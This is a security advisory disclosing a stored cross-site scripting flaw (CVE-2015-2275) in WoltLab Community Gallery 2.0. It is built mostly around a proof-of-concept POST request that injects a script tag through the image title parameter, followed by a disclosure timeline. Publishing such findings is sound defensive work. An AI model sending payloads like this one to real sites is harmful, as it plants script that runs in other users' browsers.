Community Gallery - Srored Corss-Site Scripting vulnerability

#Vulnerability title: Community Gallery - Srored Corss-Site Scripting
vulnerability
#Product: Community Gallery
#Vendor: https://www.woltlab.com
#Affected version: Community Gallery 2.0 before 12/10/2014
#Download link:
https://www.woltlab.com/purchase/?products[]=com.woltlab.gallery
#Fixed version: Community Gallery 2.0 after 12/26/2014
#CVE ID: CVE-2015-2275
#Author: Pham Kien Cuong (cuong.k.pham@itas.vn) & ITAS Team (www.itas.vn)


::PROOF OF CONCEPT::

+ REQUEST:
POST
/7788bdbc/gallery/index.php/AJAXProxy/?t=
7d53f8ad7553c0f885e3ccb60edbc0b6512
d9eed HTTP/1.1
Host: target
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64; rv:36.0) Gecko/20100101
Firefox/36.0
Accept: application/json, text/javascript, */*; q=0.01
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Content-Type: application/x-www-form-urlencoded; charset=UTF-8
X-Requested-With: XMLHttpRequest
Referer: http://target/7788bdbc/gallery/index.php/ImageEdit/7/
Content-Length: 1300
Cookie: wcf_cookieHash=f774ed47049756db7f6f635748b497cf08b6fef3;
__cfduid=dceb0da13e569549c9531d07b3d287acb1420598620
Authorization: Basic Nzc4OGJkYmM6OWM1NWE3OWM=
Connection: keep-alive
Pragma: no-cache
Cache-Control: no-cache

actionName=saveImageData&className=gallery%5Cdata%5Cimage%5CImageAction&obje
ctIDs%5B%5D=7&parameters%5Bdata%5D%5B7%5D%5BalbumID%5D=1&parameters%5Bdata%5
D%5B7%5D%5BcategoryIDs%5D%5B%5D=3&parameters%5Bdata%5D%5B7%5D%5Bdescription%
5D=test&parameters%5Bdata%5D%5B7%5D%5BenableComments%5D=1&parameters%5Bdata%
5D%5B7%5D%5Bfilename%5D=HoaMai1.jpg&parameters%5Bdata%5D%5B7%5D%5Bfilesize%5
D=47948&parameters%5Bdata%5D%5B7%5D%5Bheight%5D=480&parameters%5Bdata%5D%5B7
%5D%5BimageID%5D=7&parameters%5Bdata%5D%5B7%5D%5Blatitude%5D=0&parameters%5B
data%5D%5B7%5D%5Blongitude%5D=0&parameters%5Bdata%5D%5B7%5D%5Borientation%5D
=1&parameters%5Bdata%5D%5B7%5D%5Btags%5D%5B%5D=testing&parameters%5Bdata%5D%
5B7%5D%5BthumbnailHeight%5D=0&parameters%5Bdata%5D%5B7%5D%5BthumbnailWidth%5
D=0&parameters%5Bdata%5D%5B7%5D%5BthumbnailX%5D=0&parameters%5Bdata%5D%5B7%5
D%5BthumbnailY%5D=0&parameters%5Bdata%5D%5B7%5D%5BtinyURL%5D=http%3A%2F%2Fde
mo.woltlab.com%2F7788bdbc%2Fgallery%2FuserImages%2F21%2F7-2147cd1e-tiny.jpg&
parameters%5Bdata%5D%5B7%5D%5Btitle%5D=%3Cscript%3Ealert('XSS')%3C%2Fscript%
3E&parameters%5Bdata%5D%5B7%5D%5Burl%5D=http%3A%2F%2Fdemo.woltlab.com%2F7788
bdbc%2Fgallery%2FuserImages%2F21%2F7-2147cd1e.jpg&parameters%5Bdata%5D%5B7%5
D%5Bwidth%5D=640&parameters%5Bdata%5D%5B7%5D%5Blocation%5D=&parameters%5BisE
dit%5D=1


- Vulnerable parameter: parameters[data][7][title]


::DISCLOSURE::
+ 12/10/2014: Detect vulnerability
+ 12/10/2014: Send the detail vulnerability to vendor
+ 03/11/2015: Public information

::REFERENCE::
-
http://www.itas.vn/news/itas-team-found-out-a-stored-xss-vulnerability-in-bu
rning-board-community-gallery-77.html


::DISCLAIMER::
THE INFORMATION PRESENTED HEREIN ARE PROVIDED ?AS IS? WITHOUT WARRANTY OF
ANY KIND, EITHER EXPRESSED OR IMPLIED, INCLUDING BUT NOT LIMITED TO, ANY
IMPLIED WARRANTIES AND MERCHANTABILITY OR FITNESS FOR A PARTICULAR PURPOSE
OR WARRANTIES OF QUALITY OR COMPLETENESS. THE INFORMATION PRESENTED HERE IS
A SERVICE TO THE SECURITY COMMUNITY AND THE PRODUCT VENDORS. ANY APPLICATION
OR DISTRIBUTION OF THIS INFORMATION CONSTITUTES ACCEPTANCE ACCEPTANCE AS IS,
AND AT THE USER'S OWN RISK.


--------------------------------------------
ITAS Team (www.itas.vn)